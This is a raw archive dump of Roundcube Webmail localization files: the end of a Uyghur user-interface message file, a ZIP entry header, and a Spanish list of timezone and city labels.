$messages['smtpsizeerror'] = 'SMTP خاتالىقى: خەتنىڭ چوڭلۇقى مۇلازىمېتىر چېكىدىن(limit$) ئېشىپ كەتتى.';
$messages['smtperror'] = 'SMTP خاتالىقى: msg$';
$messages['emailformaterror'] = 'ئىناۋەتسىز ئېلىخەت ئادىرسى: email$';
$messages['toomanyrecipients'] = 'تاپشۇرۋالغۇچىلار سانىنى max$ دىن تۆۋەنلىتىڭ.';
$messages['maxgroupmembersreached'] = 'توپ ئەزالىرىنىڭ سانى ئەڭ يۇقىرى ئۆلچەم max$ دىن ئېشىپ كەتتى.';
$messages['internalerror'] = 'ئىچكى خاتالىق كۆرۈلدى. قايتا سىناپ بېقىڭ.';
$messages['contactdelerror'] = 'تۇنۇش(لار)نى ئۆچۈرگىلى بولمىدى.';
$messages['contactdeleted'] = 'تۇنۇش(لار) مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['contactrestoreerror'] = 'ئۆچۈرۈلگەن تۇنۇش(لار)نى ئەسلىگە قايتۇرغىلى بولمىدى.';
$messages['contactrestored'] = 'تۇنۇش(لار) مۇۋاپىقىيەتلىك ئەسلىگە كەلدى.';
$messages['groupdeleted'] = 'توپ مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['grouprenamed'] = 'توپقا مۇۋاپىقىيەتلىك يېڭى ئسىىم قۇيۇلدى.';
$messages['groupcreated'] = 'توپ مۇۋاپىقىيەتلىك قۇرۇلدى.';
$messages['savedsearchdeleted'] = 'ساقلانغان ئىزدەشلەر مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['savedsearchdeleteerror'] = 'ساقلانغان ئىزدەشلەرنى ئۆچۈرگىلى بولمىدى.';
$messages['savedsearchcreated'] = 'ساقلانغان ئىزدەش مۇۋاپىقىيەتلىك قۇرۇلدى.';
$messages['savedsearchcreateerror'] = 'ساقلانغان ئىزدەشنى قۇرغىلى بولمىدى.';
$messages['messagedeleted'] = 'خەت(لەر) مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['messagemoved'] = 'خەت(لەر) مۇۋاپىقىيەتلىك يۆتكەلدى.';
$messages['messagemovedtotrash'] = 'خەت(لەر) ئەخلەت چېلىكىگە مۇۋاپىقىيەتلىك يۆتكەلدى.';
$messages['messagecopied'] = 'خەت(لەر) مۇۋاپىقىيەتلىك كۆچۈرۈلدى.';
$messages['messagemarked'] = 'خەت(لەر)گە مۇۋاپىقىيەتلىك بەلگە قۇيۇلدى.';
$messages['autocompletechars'] = 'ئاپتۇماتىك تولدۇرۇش ئۈچۈن ئەڭ كەم بولغاندا min$ ھەرىپ كىرگۈزۈڭ.';
$messages['autocompletemore'] = 'تېخىمۇ كۆپ ماس قۇرلار تېپىلدى. كۆپرەك ھەرىپلەرنى كىرگۈزۈڭ.';
$messages['namecannotbeempty'] = 'ئىسمى قۇرۇق بولسا بولمايدۇ.';
$messages['nametoolong'] = 'ئىسمى بەك ئۇزۇن.';
$messages['namedotforbidden'] = 'قىسقۇچ ئىسمى چىكىت بىلەن باشلانمايدۇ.';
$messages['folderupdated'] = 'قىسقۇچ مۇۋاپىقىيەتلىك يېڭىلاندى.';
$messages['foldercreated'] = 'قىسقۇچ مۇۋاپىقىيەتلىك قۇرۇلدى.';
$messages['invalidimageformat'] = 'ئىناۋەتلىك رەسىم فورماتى ئەمەس.';
$messages['mispellingsfound'] = 'خەتتە ئىملا خاتالىقى كۆرۈلدى.';
$messages['parentnotwritable'] = 'قىسقۇچنى تاللىغان ئانا قىسقۇچ ئىچىگە قۇرغىلى/يۆتكىگىلى بولمىدى. كىرىش ھوقوقى يوق.';
$messages['messagetoobig'] = 'ئۇچۇر قىسمى بىر-تەرەپ قىلىشقا بەك چوڭ.';
$messages['attachmentvalidationerror'] = 'قىستۇرما گۇمانلىق چۈنكى ئۇنىڭ تىپى خەتتە دىيىلگەن تىپقا ماس كەلمەيدۇ. ئەگەر سىز بۇ ئەۋەتكۈچىگە ئىشەنمىسىڭىز، ئۇنى بۇ تور كۆرگۈچتە ئاچماسلىقىڭىز لازىم چۈنكى ئۇ بەلكىم يامان-نىيەتلىك مەزمۇنلارنى ئۆز-ئىچىگە ئېلىشى مۇمكىن. <br/><br/><em>كۈتۈلگەن: expected$؛ تېپىلغان: detected$</em>';
$messages['noscriptwarning'] = 'ئاگاھلاندۇرۇش: بۇ تورخەت مۇلازىمېتى Javascript نى تەلەپ قىلىدۇ. ئىشلىتىش ئۈچۈن تور كۆرگۈچىڭىزدە Javascript نى بار قىلىڭ.';
$messages['messageissent'] = 'بۇ خەت ئاللىبۇرۇن ئەۋەتىلدى، لىكىن تېخى ساقلانمىدى. سىز ئۇنى ھازىر ساقلامسىز؟';
$messages['errnotfound'] = 'ھۆججەت تېپىلمىدى';
$messages['errnotfoundexplain'] = 'تەلەپ قىلىنغان بايلىق تېپىلمىدى!';
$messages['errfailedrequest'] = 'مەغلۇپ بولغان تەلەپ';
$messages['errauthorizationfailed'] = 'كىملىكىنى دەلىللەش مەغلۇپ بولدى';
$messages['errunauthorizedexplain'] = 'سىزنىڭ بۇ مۇلازىمەتكە ئېرىشىش ھوقوقىڭىزنىڭ بار-يوقلىقىنى دەلىللىگىلى بولمىدى!';
$messages['errrequestcheckfailed'] = 'تەلەپ تەكشۈرۈش مەغلۇپ بولدى';
$messages['errcsrfprotectionexplain'] = "سىزنى قوغداش ئۈچۈن، بۇ بايلىقنى ئىشلىتىش CSRF كە قارشى قوغدالدى. سىزنىڭ بۇنى كۆرۈشىڭىزدىكى سەۋەب سىز بۇ تور ئېپىدىن ئايرىلىشتىن بۇرۇن تېخى ئۇنىڭدىن چېكىنمىدىڭىز. داۋاملاشتۇرۇش ئۈچۈن ئادەم بىلەن ماسلىشىش كېرەك بولدى. ";
$messages['errcontactserveradmin'] = 'سىزنىڭ مۇلازىمېتىر باشقۇرغۇچىڭىز بىلەن ئالاقىلىشىڭ.';
$messages['clicktoresumesession'] = 'بۇ يەرنى بېسىپ ئالدىنقى باسقۇچنى ئەسلىگە كەلتۈرۈڭ';
$messages['errcomposesession'] = 'يېزىش باسقۇچى خاتالىقى';
$messages['errcomposesessionexplain'] = 'تەلەپ قىلىنغان يېزىش باسقۇچى تېپىلمىدى.';
$messages['clicktocompose'] = 'بۇ يەرنى بېسىپ يېڭى خەت قۇرۇڭ';
$messages['nosupporterror'] = 'سىزنىڭ تور كۆرگۈچىڭىز بۇ ئالاھىدىلىكنى قوللىمايدۇ.';
$messages['siginserted'] = 'ئىمزا مۇۋاپىقىيەتلىك كىرگۈزۈلدى.';
$messages['responseinserted'] = 'ئىنكاس مۇۋاپىقىيەتلىك كىرگۈزۈلدى.';
$messages['noresponsesavailable'] = 'ھېچقانداق ئىنكاس يوق';
$messages['listempty'] = 'بۇ تىزىملىك قۇرۇق';
$messages['listusebutton'] = 'يېڭى خاتىرە قېتىش ئۈچۈن قۇرۇش كۇنۇپكىسىنى بېسىڭ.';
$messages['keypaircreatesuccess'] = 'يېڭى ئاچقۇچ جۈپى identity$ ئۈچۈن مۇۋاپىقىيەتلىك قۇرۇلدى.';
$messages['emptyattachment'] = 'بۇ قىستۇرما قۇرۇقتەك قىلىدۇ. <br>بۇنى ئەۋەتكەن ئادەم بىلەن تەكشۈرۈڭ.';
$messages['oauthloginfailed'] = 'كىملىك دەلىللەش مەغلۇپ بولدى. قايتا سىناپ بېقىڭ.';
PK
h�\`*K�N�N(program/localization/es_ES/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'África';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Adís Abeba';
$labels['tz:africa:algiers'] = 'Argel';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es-Salam';
$labels['tz:africa:djibouti'] = 'Yibuti';
$labels['tz:africa:douala'] = 'Duala';
$labels['tz:africa:el_aaiun'] = 'El Aaiún';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburgo';
$labels['tz:africa:juba'] = 'Yuba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Jartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinsasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadiscio';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Yamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto Novo';
$labels['tz:africa:sao_tome'] = 'Santo Tomé';
$labels['tz:africa:tripoli'] = 'Trípoli';
$labels['tz:africa:tunis'] = 'Túnez';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'América';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaína';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Córdoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Río Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucumán';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahía';
$labels['tz:america:bahia_banderas'] = 'Bahía de Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belém';
$labels['tz:america:belize'] = 'Belice';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogotá';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayena';
$labels['tz:america:cayman'] = 'Caimán';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiabá';
$labels['tz:america:curacao'] = 'Curazao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepé';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Nuuk';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Gran Turca';
$labels['tz:america:grenada'] = 'Granada';
$labels['tz:america:guadeloupe'] = 'Guadalupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Habana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianápolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Ángeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceió';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaos';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinica';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlán';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Mérida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Ciudad de México';
$labels['tz:america:miquelon'] = 'Miquelón';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nasáu';
$labels['tz:america:new_york'] = 'Nueva York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Dakota del norte';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Centro';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panamá';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Puerto Príncipe';
$labels['tz:america:port_of_spain'] = 'Puerto de España';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresby Sund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'San Bartolomé';
$labels['tz:america:st_johns'] = "San Juan de Terranova";
$labels['tz:america:st_kitts'] = 'Isla de San Cristóbal';
$labels['tz:america:st_lucia'] = 'Santa Lucía';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antártida';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Ártico';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Adén';
$labels['tz:asia:almaty'] = 'Almatý';
$labels['tz:asia:amman'] = 'Ammán';
$labels['tz:asia:anadyr'] = 'Anadir';
$labels['tz:asia:aqtau'] = 'Aktau';
$labels['tz:asia:aqtobe'] = 'Aktobe';
$labels['tz:asia:ashgabat'] = 'Asjabad';
$labels['tz:asia:atyrau'] = 'Atirau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrein';
$labels['tz:asia:baku'] = 'Bakú';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaúl';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Biskek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chitá';
$labels['tz:asia:choibalsan'] = 'Choybalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damasco';
$labels['tz:asia:dhaka'] = 'Daca';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubái';
$labels['tz:asia:dushanbe'] = 'Dusambé';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebrón';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Yakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalén';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Katmandú';
$labels['tz:asia:khandyga'] = 'Jándyga';
$labels['tz:asia:kolkata'] = 'Calcuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macao';
$labels['tz:asia:magadan'] = 'Magadán';
$labels['tz:asia:makassar'] = 'Macasar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Mascate';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Nom Pen';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Kyzylorda';
$labels['tz:asia:riyadh'] = 'Riad';
$labels['tz:asia:sakhalin'] = 'Sajalín';
$labels['tz:asia:samarkand'] = 'Samarkanda';
$labels['tz:asia:seoul'] = 'Seúl';
$labels['tz:asia:shanghai'] = 'Shanghái';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolimsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Taskent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherán';
$labels['tz:asia:thimphu'] = 'Timbu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulán Bator';
$labels['tz:asia:urumqi'] = 'Urumchi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientián';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Rangún';
$labels['tz:asia:yekaterinburg'] = 'Ekaterimburgo';
$labels['tz:asia:yerevan'] = 'Ereván';
$labels['tz:atlantic'] = 'Atlántico';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermudas';
$labels['tz:atlantic:canary'] = 'Islas Canarias';
$labels['tz:atlantic:cape_verde'] = 'Cabo Verde';
$labels['tz:atlantic:faroe'] = 'Feroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reikiavik';
$labels['tz:atlantic:south_georgia'] = 'Georgia del Sur ';
$labels['tz:atlantic:st_helena'] = 'Santa Elena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaida';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astracán';
$labels['tz:europe:athens'] = 'Atenas';
$labels['tz:europe:belgrade'] = 'Belgrado';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Bruselas';
$labels['tz:europe:bucharest'] = 'Bucarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Büsingen';
$labels['tz:europe:chisinau'] = 'Chisináu';
$labels['tz:europe:copenhagen'] = 'Copenhague';
$labels['tz:europe:dublin'] = 'Dublín';
$labels['tz:europe:gibraltar'] = 'Gibraltar Español';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isla de Man';
$labels['tz:europe:istanbul'] = 'Estambul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrado';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kírov';
$labels['tz:europe:lisbon'] = 'Lisboa';
$labels['tz:europe:ljubljana'] = 'Liubliana';
$labels['tz:europe:london'] = 'Londres';
$labels['tz:europe:luxembourg'] = 'Luxemburgo';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Mónaco';
$labels['tz:europe:moscow'] = 'Moscú';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'París';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Sarátov';
$labels['tz:europe:simferopol'] = 'Simferópol';
$labels['tz:europe:skopje'] = 'Skopie';
$labels['tz:europe:sofia'] = 'Sofía';
$labels['tz:europe:stockholm'] = 'Estocolmo';
$labels['tz:europe:tallinn'] = 'Tallin';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Uliánovsk';
$labels['tz:europe:uzhgorod'] = 'Úzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Ciudad del Vaticano';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:vilnius'] = 'Vilna';
$labels['tz:europe:volgograd'] = 'Volgogrado';
$labels['tz:europe:warsaw'] = 'Varsovia';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporiyia';
$labels['tz:europe:zurich'] = 'Zúrich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Navidad';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoras';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldivas';
$labels['tz:indian:mauritius'] = 'Mauricio';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunión';
$labels['tz:pacific'] = 'Pacífico';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Pascua';
$labels['tz:pacific:efate'] = 'Éfaté';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiyi';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galápagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulú';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Numea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
